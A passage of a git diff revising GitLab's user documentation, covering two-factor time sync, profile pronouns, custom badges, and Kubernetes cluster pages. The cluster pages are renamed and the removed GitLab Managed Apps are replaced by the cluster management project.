- **Delete user** to delete only the user but maintain their
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index c763226015e..3f42fc0d131 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -505,7 +505,18 @@ Feature.disable(:webauthn)
If you are receiving an `invalid pin code` error, this may indicate that there is a time sync issue between the authentication application and the GitLab instance itself.
-Most authentication apps have a feature in the settings for syncing the time for the codes themselves. For Google Authenticator for example, go to `Settings > Time correction for codes`.
+To avoid the time sync issue, enable time synchronization in the device that generates the codes. For example:
+
+- For Android (Google Authenticator):
+ 1. Go to the Main Menu in Google Authenticator.
+ 1. Select Settings.
+ 1. Select the Time correction for the codes.
+ 1. Select Sync now.
+- For iOS:
+ 1. Go to Settings.
+ 1. Select General.
+ 1. Select Date & Time.
+ 1. Enable Set Automatically. If it’s already enabled, disable it, wait a few seconds, and re-enable.
<!-- ## Troubleshooting
diff --git a/doc/user/profile/img/notification_global_settings_v13_12.png b/doc/user/profile/img/notification_global_settings_v13_12.png
index 2989543c2d8..0998bb89778 100644
--- a/doc/user/profile/img/notification_global_settings_v13_12.png
+++ b/doc/user/profile/img/notification_global_settings_v13_12.png
Binary files differ
diff --git a/doc/user/profile/img/unknown_sign_in_email_v13_1.png b/doc/user/profile/img/unknown_sign_in_email_v13_1.png
deleted file mode 100644
index 586be483be9..00000000000
--- a/doc/user/profile/img/unknown_sign_in_email_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/profile/img/unknown_sign_in_email_v14_0.png b/doc/user/profile/img/unknown_sign_in_email_v14_0.png
new file mode 100644
index 00000000000..dec1251addb
--- /dev/null
+++ b/doc/user/profile/img/unknown_sign_in_email_v14_0.png
Binary files differ
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index 17c24a6b63f..9d714a6efd0 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -42,7 +42,7 @@ If you don't know your current password, select the **I forgot my password** lin
Your username has a unique [namespace](../group/index.md#namespaces),
which is updated when you change your username. Before you change your username, read about
-[how redirects behave](../project/repository/index.md#redirects-when-changing-repository-paths).
+[how redirects behave](../project/repository/index.md#what-happens-when-a-repository-path-changes).
If you do not want to update the namespace, you can create a new user or group and transfer projects to it instead.
Prerequisites:
@@ -107,6 +107,20 @@ To show private contributions:
1. In the **Main settings** section, select the **Include private contributions on my profile** checkbox.
1. Select **Update profile settings**.
+## Add your gender pronouns
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332405) in GitLab 14.0.
+
+You can add your gender pronouns to your GitLab account to be displayed next to
+your name in your profile.
+
+To specify your pronouns:
+
+1. In the top-right corner, select your avatar.
+1. Select **Edit profile**.
+1. In the **Pronouns** field, enter your pronouns.
+1. Select **Update profile settings**.
+
## Set your current status
> - Introduced in GitLab 11.2.
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index c0d232ba491..b9410be791e 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -176,6 +176,7 @@ Users are notified of the following events:
| Event | Sent to | Settings level |
|------------------------------|---------------------|------------------------------|
| New SSH key added | User | Security email, always sent. |
+| SSH key has expired | User | Security email, always sent. |
| New email added | User | Security email, always sent. |
| Email changed | User | Security email, always sent. |
| Password changed | User | Security email, always sent when user changes their own password |
diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md
index 1eec351e4da..7aa1ae89c9f 100644
--- a/doc/user/profile/unknown_sign_in_notification.md
+++ b/doc/user/profile/unknown_sign_in_notification.md
@@ -30,4 +30,4 @@ for a notification email to be sent.
## Example email
-![Unknown sign in email](img/unknown_sign_in_email_v13_1.png)
+![Unknown sign in email](img/unknown_sign_in_email_v14_0.png)
diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md
index 1834bc20aee..64a375c6a1d 100644
--- a/doc/user/project/badges.md
+++ b/doc/user/project/badges.md
@@ -15,7 +15,7 @@ points to. Examples for badges can be the [pipeline status](../../ci/pipelines/s
[test coverage](../../ci/pipelines/settings.md#test-coverage-report-badge), or ways to contact the
project maintainers.
-![Badges on Project overview page](img/project_overview_badges_v13_10.png)
+![Badges on Project information page](img/project_overview_badges_v13_10.png)
## Project badges
@@ -90,6 +90,35 @@ default branch or commit SHA when the project is configured to have a private
repository. This is by design, as badges are intended to be used publicly. Avoid
using these placeholders if the information is sensitive.
+## Use custom badge images
+
+Use custom badge images in a project or a group if you want to use badges other than the default
+ones.
+
+Prerequisites:
+
+- A valid URL that points directly to the desired image for the badge.
+ If the image is located in a GitLab repository, use the raw link to the image.
+
+Using placeholders, here is an example badge image URL referring to a raw image at the root of a repository:
+
+```plaintext
+https://gitlab.example.com/<project_path>/-/raw/<default_branch>/my-image.svg
+```
+
+To add a new badge to a group or project with a custom image:
+
+1. Go to your group or project and select **Settings > General**.
+1. Expand **Badges**.
+1. Under **Name**, enter the name for the badge.
+1. Under **Link**, enter the URL that the badge should point to.
+1. Under **Badge image URL**, enter the URL that points directly to the custom image that should be
+ displayed.
+1. Select **Add badge**.
+
+To learn how to use custom images generated via a pipeline, see our documentation on
+[accessing the latest job artifacts by URL](../../ci/pipelines/job_artifacts.md#access-the-latest-job-artifacts-by-url).
+
## API
You can also configure badges via the GitLab API. As in the settings, there is
diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md
index d9e268251b7..1ecfb3b7292 100644
--- a/doc/user/project/bulk_editing.md
+++ b/doc/user/project/bulk_editing.md
@@ -1,5 +1,6 @@
---
redirect_to: 'issues/managing_issues.md'
+remove_date: '2021-08-12'
---
This document was moved to [another location](issues/managing_issues.md).
diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md
index f7394093a3a..c3900d33cb8 100644
--- a/doc/user/project/canary_deployments.md
+++ b/doc/user/project/canary_deployments.md
@@ -91,7 +91,7 @@ Here's an example setup flow from scratch:
1. Prepare an [Auto DevOps-enabled](../../topics/autodevops/index.md) project.
1. Set up a [Kubernetes Cluster](../../user/project/clusters/index.md) in your project.
-1. Install [Ingress](../../user/clusters/applications.md#ingress) as a GitLab Managed App.
+1. Install [NGINX Ingress](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx) in your cluster.
1. Set up [the base domain](../../user/project/clusters/index.md#base-domain) based on the Ingress
Endpoint assigned above.
1. Check if [`v2.0.0+` of `auto-deploy-image` is used in your Auto DevOps pipelines](../../topics/autodevops/upgrading_auto_deploy_dependencies.md#verify-dependency-versions).
@@ -116,7 +116,7 @@ or by sending requests to the [GraphQL API](../../api/graphql/getting_started.md
To use your [Deploy Board](../../user/project/deploy_boards.md):
-1. Navigate to **Operations > Environments** for your project.
+1. Navigate to **Deployments > Environments** for your project.
1. Set the new weight with the dropdown on the right side.
1. Confirm your selection.
diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md
index c0fb8f5848f..58bdb3d698f 100644
--- a/doc/user/project/clusters/add_eks_clusters.md
+++ b/doc/user/project/clusters/add_eks_clusters.md
@@ -74,10 +74,10 @@ Instance profiles dynamically retrieve temporary credentials from AWS when neede
To create and add a new Kubernetes cluster to your project, group, or instance:
1. Navigate to your:
- - Project's **Operations > Kubernetes** page, for a project-level cluster.
+ - Project's **Infrastructure > Kubernetes clusters** page, for a project-level cluster.
- Group's **Kubernetes** page, for a group-level cluster.
- **Admin Area > Kubernetes**, for an instance-level cluster.
-1. Click **Add Kubernetes cluster**.
+1. Click **Integrate with a cluster certificate**.
1. Under the **Create new cluster** tab, click **Amazon EKS** to display an
`Account ID` and `External ID` needed for later steps.
1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy:
@@ -184,13 +184,10 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
1. Finally, click the **Create Kubernetes cluster** button.
-After about 10 minutes, your cluster is ready to go. You can now proceed
-to install some [pre-defined applications](index.md#installing-applications).
+After about 10 minutes, your cluster is ready to go.
NOTE:
-You must add your AWS external ID to the
-[IAM Role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount)
-to manage your cluster using `kubectl`.
+If you have [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl) `kubectl` and you would like to manage your cluster with it, you must add your AWS external ID in the AWS configuration. For more information on how to configure AWS CLI, see [using an IAM role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount).
### Cluster creation flow
@@ -292,7 +289,7 @@ you've assigned the role the correct permissions.
### Key Pairs are not loaded
-GitLab loads the key pairs from the **Cluster Region** specified. Ensure that key pair exists in that region.
+GitLab loads the key pairs from the **Cluster Region** specified. Ensure that key pair exists in that region.
#### `ROLLBACK_FAILED` during cluster creation
diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md
index af3a17dc60c..9f0e5603785 100644
--- a/doc/user/project/clusters/add_gke_clusters.md
+++ b/doc/user/project/clusters/add_gke_clusters.md
@@ -46,10 +46,11 @@ Note the following:
To create and add a new Kubernetes cluster to your project, group, or instance:
1. Navigate to your:
- - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster.
+ - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
+ cluster.
- Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
-1. Click **Add Kubernetes cluster**.
+1. Click **Integrate with a cluster certificate**.
1. Under the **Create new cluster** tab, click **Google GKE**.
1. Connect your Google account if you haven't done already by clicking the
**Sign in with Google** button.
@@ -70,8 +71,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
1. Finally, click the **Create Kubernetes cluster** button.
-After a couple of minutes, your cluster is ready. You can now proceed
-to install some [pre-defined applications](index.md#installing-applications).
+After a couple of minutes, your cluster is ready.
### Cloud Run for Anthos
@@ -79,8 +79,8 @@ to install some [pre-defined applications](index.md#installing-applications).
You can choose to use Cloud Run for Anthos in place of installing Knative and Istio
separately after the cluster has been created. This means that Cloud Run
-(Knative), Istio, and HTTP Load Balancing are enabled on the cluster at
-create time and cannot be [installed or uninstalled](../../clusters/applications.md) separately.
+(Knative), Istio, and HTTP Load Balancing are enabled on the cluster
+from the start, and cannot be installed or uninstalled.
## Existing GKE cluster
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index 1b4b4f38f4b..2ecbc4a2ff5 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -4,7 +4,16 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Adding and removing Kubernetes clusters **(FREE)**
+# Add a cluster using cluster certificates **(FREE)**
+
+> [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/6049) in GitLab 14.0.
+
+WARNING:
+Creating a new cluster or adding an existing cluster to GitLab through the certificate-based method
+is deprecated and no longer recommended. Kubernetes cluster, similar to any other
+infrastructure, should be created, updated, and maintained using [Infrastructure as Code](../../infrastructure/index.md).
+GitLab is developing a built-in capability to create clusters with Terraform.
+You can follow along in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6049).
GitLab offers integrated cluster creation for the following Kubernetes providers:
@@ -35,9 +44,9 @@ Before [adding a Kubernetes cluster](#create-new-cluster) using GitLab, you need
- A [self-managed installation](https://about.gitlab.com/pricing/#self-managed) with GitLab version
12.5 or later. This ensures the GitLab UI can be used for cluster creation.
- The following GitLab access:
- - [Maintainer access to a project](../../permissions.md#project-members-permissions) for a
+ - [Maintainer role for a project](../../permissions.md#project-members-permissions) for a
project-level cluster.
- - [Maintainer access to a group](../../permissions.md#group-members-permissions) for a
+ - [Maintainer role for a group](../../permissions.md#group-members-permissions) for a
group-level cluster.
- [Admin Area access](../../admin_area/index.md) for a self-managed instance-level
cluster. **(FREE SELF)**
@@ -52,16 +61,10 @@ When creating a cluster in GitLab, you are asked if you would like to create eit
cluster, which is the GitLab default and recommended option.
- An [Attribute-based access control (ABAC)](https://kubernetes.io/docs/reference/access-authn-authz/abac/) cluster.
-GitLab creates the necessary service accounts and privileges to install and run
-[GitLab managed applications](index.md#installing-applications). When GitLab creates the cluster,
+When GitLab creates the cluster,
a `gitlab` service account with `cluster-admin` privileges is created in the `default` namespace
to manage the newly created cluster.
-The first time you install an application into your cluster, the `tiller` service
-account is created with `cluster-admin` privileges in the
-`gitlab-managed-apps` namespace. This service account is used by Helm to
-install and run [GitLab managed applications](index.md#installing-applications).
-
Helm also creates additional service accounts and other resources for each
installed application. Consult the documentation of the Helm charts for each application
for details.
@@ -132,11 +135,8 @@ If you don't want to use a runner in privileged mode, either:
- Use shared runners on GitLab.com. They don't have this security issue.
- Set up your own runners using the configuration described at
- [shared runners](../../gitlab_com/index.md#shared-runners). This involves:
- 1. Making sure that you don't have it installed via
- [the applications](index.md#installing-applications).
- 1. Installing a runner
- [using `docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html).
+ [shared runners](../../gitlab_com/index.md#shared-runners) using
+ [`docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html).
## Create new cluster
@@ -144,36 +144,38 @@ New clusters can be created using GitLab on Google Kubernetes Engine (GKE) or
Amazon Elastic Kubernetes Service (EKS) at the project, group, or instance level:
1. Navigate to your:
- - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster.
+ - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
+ cluster.
- Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
-1. Click **Add Kubernetes cluster**.
+1. Click **Integrate with a cluster certificate**.
1. Click the **Create new cluster** tab.
1. Click either **Amazon EKS** or **Google GKE**, and follow the instructions for your desired service:
- [Amazon EKS](add_eks_clusters.md#new-eks-cluster).
- [Google GKE](add_gke_clusters.md#creating-the-cluster-on-gke).
-After creating a cluster, you can install runners for it as described in
-[GitLab Managed Apps](../../clusters/applications.md).
+After creating a cluster, you can [install runners](https://docs.gitlab.com/runner/install/kubernetes.html),
+add a [cluster management project](../../clusters/management_project.md),
+configure [Auto DevOps](../../../topics/autodevops/index.md),
+or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster).
## Add existing cluster
If you have an existing Kubernetes cluster, you can add it to a project, group,
-or instance.
-
-Kubernetes integration isn't supported for arm64 clusters. See the issue
-[Helm Tiller fails to install on arm64 cluster](https://gitlab.com/gitlab-org/gitlab/-/issues/29838)
-for details.
+or instance, and [install runners](https://docs.gitlab.com/runner/install/kubernetes.html)
+on it (the cluster does not need to be added to GitLab first).
-After adding an existing cluster, you can install runners for it as described in
-[GitLab Managed Apps](../../clusters/applications.md).
+After adding a cluster, you can add a [cluster management project](../../clusters/management_project.md),
+configure [Auto DevOps](../../../topics/autodevops/index.md),
+or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster).
### Existing Kubernetes cluster
To add a Kubernetes cluster to your project, group, or instance:
1. Navigate to your:
- 1. Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster.
+ 1. Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
+ cluster.
1. Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
1. **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
1. Click **Add Kubernetes cluster**.
@@ -316,8 +318,7 @@ To add a Kubernetes cluster to your project, group, or instance:
1. Finally, click the **Create Kubernetes cluster** button.
-After a couple of minutes, your cluster is ready. You can now proceed
-to install some [pre-defined applications](index.md#installing-applications).
+After a couple of minutes, your cluster is ready.
#### Disable Role-Based Access Control (RBAC) (optional)
@@ -351,7 +352,8 @@ The Kubernetes cluster integration enables after you have successfully either cr
a new cluster or added an existing one. To disable Kubernetes cluster integration:
1. Navigate to your:
- - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster.
+ - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
+ cluster.
- Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
1. Click on the name of the cluster.
diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index c2d06e0a22c..97296d22dd9 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -31,7 +31,7 @@ Besides integration at the project level, Kubernetes clusters can also be
integrated at the [group level](../../group/clusters/index.md) or
[GitLab instance level](../../instance/clusters/index.md).
-To view your project level Kubernetes clusters, navigate to **Operations > Kubernetes**
+To view your project level Kubernetes clusters, navigate to **Infrastructure > Kubernetes**
from your project. On this page, you can [add a new cluster](#adding-and-removing-clusters)
and view information about your existing clusters, such as:
@@ -61,6 +61,9 @@ Kubernetes version to any supported version at any time:
Some GitLab features may support versions outside the range provided here.
+NOTE:
+[GKE Cluster creation](add_remove_clusters.md#create-new-cluster) by GitLab is currently not supported for Kubernetes 1.19+. For these versions you can create the cluster through GCP, then [Add existing cluster](add_remove_clusters.md#add-existing-cluster). See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/331922) for more information.
+
### Adding and removing clusters
See [Adding and removing Kubernetes clusters](add_remove_clusters.md) for details on how
@@ -169,14 +172,9 @@ for your deployment jobs to use. Otherwise, a namespace is created for you.
#### Important notes
-Note the following with GitLab and clusters:
-
-- If you [install applications](#installing-applications) on your cluster, GitLab will
- create the resources required to run these even if you have chosen to manage your own
- cluster.
-- Be aware that manually managing resources that have been created by GitLab, like
- namespaces and service accounts, can cause unexpected errors. If this occurs, try
- [clearing the cluster cache](#clearing-the-cluster-cache).
+Be aware that manually managing resources that have been created by GitLab, like
+namespaces and service accounts, can cause unexpected errors. If this occurs, try
+[clearing the cluster cache](#clearing-the-cluster-cache).
#### Clearing the cluster cache
@@ -189,7 +187,7 @@ your cluster. This can cause deployment jobs to fail.
To clear the cache:
-1. Navigate to your project's **Operations > Kubernetes** page, and select your cluster.
+1. Navigate to your project's **Infrastructure > Kubernetes** page, and select your cluster.
1. Expand the **Advanced settings** section.
1. Click **Clear cluster cache**.
@@ -197,19 +195,15 @@ To clear the cache:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8.
-You do not need to specify a base domain on cluster settings when using GitLab Serverless. The domain in that case
-is specified as part of the Knative installation. See [Installing Applications](#installing-applications).
-
Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an deployment variable.
If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different
stages. For example, Auto Review Apps and Auto Deploy.
The domain should have a wildcard DNS configured to the Ingress IP address.
-After Ingress has been installed (see [Installing Applications](#installing-applications)),
-you can either:
+You can either:
- Create an `A` record that points to the Ingress IP address with your domain provider.
-- Enter a wildcard DNS address using a service such as nip.io or xip.io. For example, `192.168.1.1.xip.io`.
+- Enter a wildcard DNS address using a service such as `nip.io` or `xip.io`. For example, `192.168.1.1.xip.io`.
To determine the external Ingress IP address, or external Ingress hostname:
@@ -259,13 +253,11 @@ This list provides a generic solution, and some GitLab-specific approaches:
If you see a trailing `%` on some Kubernetes versions, do not include it.
-## Installing applications
+## Cluster management project
-GitLab can install and manage some applications like Helm, GitLab Runner, Ingress,
-Prometheus, and so on, in your project-level cluster. For more information on
-installing, upgrading, uninstalling, and troubleshooting applications for
-your project cluster, see
-[GitLab Managed Apps](../../clusters/applications.md).
+Attach a [Cluster management project](../../clusters/management_project.md)
+to your cluster to manage shared resources requiring `cluster-admin` privileges for
+installation, such as an Ingress controller.
## Auto DevOps
@@ -351,16 +343,17 @@ You can customize the deployment namespace in a few ways:
When you customize the namespace, existing environments remain linked to their current
namespaces until you [clear the cluster cache](#clearing-the-cluster-cache).
-WARNING:
+#### Protecting credentials
+
By default, anyone who can create a deployment job can access any CI/CD variable in
an environment's deployment job. This includes `KUBECONFIG`, which gives access to
any secret available to the associated service account in your cluster.
To keep your production credentials safe, consider using
[protected environments](../../../ci/environments/protected_environments.md),
-combined with either
+combined with *one* of the following:
-- a GitLab-managed cluster and namespace per environment,
-- *or*, an environment-scoped cluster per protected environment. The same cluster
+- A GitLab-managed cluster and namespace per environment.
+- An environment-scoped cluster per protected environment. The same cluster
can be added multiple times with multiple restricted service accounts.
### Integrations
@@ -453,6 +446,6 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Free in 13.2.
-When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.
+When [the Prometheus cluster integration is enabled](../../clusters/integrations.md#prometheus-cluster-integration), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.
![Cluster Monitoring](img/k8s_cluster_monitoring.png)
diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md
index bafb7d472c6..7a9c7eb423d 100644
--- a/doc/user/project/clusters/kubernetes_pod_logs.md
+++ b/doc/user/project/clusters/kubernetes_pod_logs.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4752) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26383) to [GitLab Free](https://about.gitlab.com/pricing/) 12.9.
-GitLab makes it easy to view the logs of running pods or managed applications in
+GitLab makes it easy to view the logs of running pods in
[connected Kubernetes clusters](index.md). By displaying the logs directly in GitLab
in the **Log Explorer**, developers can avoid managing console tools or jumping
to a different interface. The **Log Explorer** interface provides a set of filters
@@ -18,10 +18,11 @@ above the log file data, depending on your configuration:
![Pod logs](img/kubernetes_pod_logs_v12_10.png)
- **Namespace** - Select the environment to display. Users with Maintainer or
- greater [permissions](../../permissions.md) can also select Managed Apps.
-- **Search** - Only available if the Elastic Stack managed application is installed.
-- **Select time range** - Select the range of time to display. Only available if the
- Elastic Stack managed application is installed.
+ greater [permissions](../../permissions.md) can also see pods in the
+ `gitlab-managed-apps` namespace.
+- **Search** - Only available if the [Elastic Stack integration](../../clusters/integrations.md#elastic-stack-cluster-integration) is enabled.
+- **Select time range** - Select the range of time to display.
+ Only available if the [Elastic Stack integration](../../clusters/integrations.md#elastic-stack-cluster-integration) is enabled.
- **Scroll to bottom** **{scroll_down}** - Scroll to the end of the displayed logs.
- **Refresh** **{retry}** - Reload the displayed logs.
@@ -43,12 +44,11 @@ a [metrics dashboard](../../../operations/metrics/index.md) and select **View lo
1. Sign in as a user with the _View pod logs_
[permissions](../../permissions.md#project-members-permissions) in the project.
-1. *To navigate to the **Log Explorer** from the sidebar menu,* go to
- **{cloud-gear}** **Operations > Pod logs**.
- ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 12.5.)
-1. *To navigate to the **Log Explorer** from a specific pod on a [Deploy Board](../deploy_boards.md):*
+1. To navigate to the **Log Explorer** from the sidebar menu, go to **Monitor > Logs**
+ ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 12.5.).
+1. To navigate to the **Log Explorer** from a specific pod on a [Deploy Board](../deploy_boards.md):
- 1. Go to **{cloud-gear}** **Operations > Environments** and find the environment
+ 1. Go to **Deployments > Environments** and find the environment
which contains the desired pod, like `production`.
1. On the **Environments** page, you should see the status of the environment's
pods with [Deploy Boards](../deploy_boards.md).
@@ -81,7 +81,7 @@ Support for historical data is coming
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197879) in GitLab 12.8.
-When you enable [Elastic Stack](../../clusters/applications.md#elastic-stack)
+When you enable [Elastic Stack](../../clusters/integrations.md#elastic-stack-cluster-integration)
on your cluster, you can filter logs displayed in the **Log Explorer** by date.
Click **Show last** in the **Log Explorer** to see the available options.
@@ -90,7 +90,7 @@ Click **Show last** in the **Log Explorer** to see the available options.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21656) in GitLab 12.7.
-When you enable [Elastic Stack](../../clusters/applications.md#elastic-stack) on your cluster,
+When you enable [Elastic Stack](../../clusters/integrations.md#elastic-stack-cluster-integration) on your cluster,
you can search the content of your logs through a search bar. The search is passed
to Elasticsearch using the
[simple_query_string](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-simple-query-string-query.html)
diff --git a/doc/user/project/clusters/protect/container_host_security/index.md b/doc/user/project/clusters/protect/container_host_security/index.md
index 102001d4f87..5e4df6009f0 100644
--- a/doc/user/project/clusters/protect/container_host_security/index.md
+++ b/doc/user/project/clusters/protect/container_host_security/index.md
@@ -4,7 +4,7 @@ group: Container Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Container Host Security
+# Container Host Security **(FREE)**
Container Host Security in GitLab provides Intrusion Detection and Prevention capabilities that can
monitor and (optionally) block activity inside the containers themselves. This is done by leveraging
@@ -28,8 +28,8 @@ users define profiles for these technologies.
See the [installation guide](quick_start_guide.md) for the recommended steps to install the
Container Host Security capabilities. This guide shows the recommended way of installing Container
-Host Security through GMAv2. However, it's also possible to do a manual installation through our
-Helm chart.
+Host Security through the Cluster Management Project. However, it's also possible to do a manual
+installation through our Helm chart.
## Features
diff --git a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
index fa4a5fb61d0..ebcd56078ae 100644
--- a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
+++ b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md
@@ -4,11 +4,9 @@ group: Container Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Getting started with Container Host Security
+# Getting started with Container Host Security **(FREE)**
-The following steps are recommended for installing Container Host Security. Although you can install
-some capabilities through GMAv1, we [recommend](#using-gmav1-with-gmav2) that you install
-applications through GMAv2 exclusively when using Container Network Security.
+The following steps are recommended for installing Container Host Security.
## Installation steps
@@ -21,8 +19,7 @@ The following steps are recommended to install and use Container Host Security t
1. Install and configure an Ingress node:
- - [Install the Ingress node via CI/CD (GMAv2)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- - [Determine the external endpoint via the manual method](../../../../clusters/applications.md#determining-the-external-endpoint-manually).
+ - [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain)
into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes
cluster.
@@ -63,19 +60,6 @@ initial troubleshooting steps that resolve the most common problems:
`kubectl delete namespaces <insert-some-namespace-name>` in your Kubernetes cluster.
- Rerun the application project pipeline to redeploy the application.
-### Using GMAv1 with GMAv2
-
-When GMAv1 and GMAv2 are used together on the same cluster, users may experience problems with
-applications being uninstalled or removed from the cluster. This is because GMAv2 actively
-uninstalls applications that are installed with GMAv1 and not configured to be installed with GMAv2.
-It's possible to use a mixture of applications installed with GMAv1 and GMAv2 by ensuring that the
-GMAv1 applications are installed **after** the GMAv2 cluster management project pipeline runs. GMAv1
-applications must be reinstalled after each run of that pipeline. This approach isn't recommended as
-it's error-prone and can lead to downtime as applications are uninstalled and later reinstalled.
-When using Container Network Security, the preferred and recommended path is to install all
-necessary components with GMAv2 and the cluster management project.
-
**Related documentation links:**
-- [GitLab Managed Apps v1 (GMAv1)](../../../../clusters/applications.md#install-with-one-click-deprecated)
-- [GitLab Managed Apps v2 (GMAv2)](../../../../clusters/management_project.md)
+- [Cluster Management Project](../../../../clusters/management_project.md)
diff --git a/doc/user/project/clusters/protect/container_network_security/index.md b/doc/user/project/clusters/protect/container_network_security/index.md
index a7cdd73acd7..3daa48e1811 100644
--- a/doc/user/project/clusters/protect/container_network_security/index.md
+++ b/doc/user/project/clusters/protect/container_network_security/index.md
@@ -4,7 +4,7 @@ group: Container Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Container Network Security
+# Container Network Security **(FREE)**
Container Network Security in GitLab provides basic firewall functionality by leveraging Cilium
NetworkPolicies to filter traffic going in and out of the cluster as well as traffic between pods
@@ -20,8 +20,8 @@ disabled by default, as they must usually be customized to match application-spe
See the [installation guide](quick_start_guide.md) for the recommended steps to install GitLab
Container Network Security. This guide shows the recommended way of installing Container Network
-Security through GMAv2. However, it's also possible to install Cilium manually through our Helm
-chart.
+Security through the Cluster Management Project. However, it's also possible to install Cilium
+manually through our Helm chart.
## Features
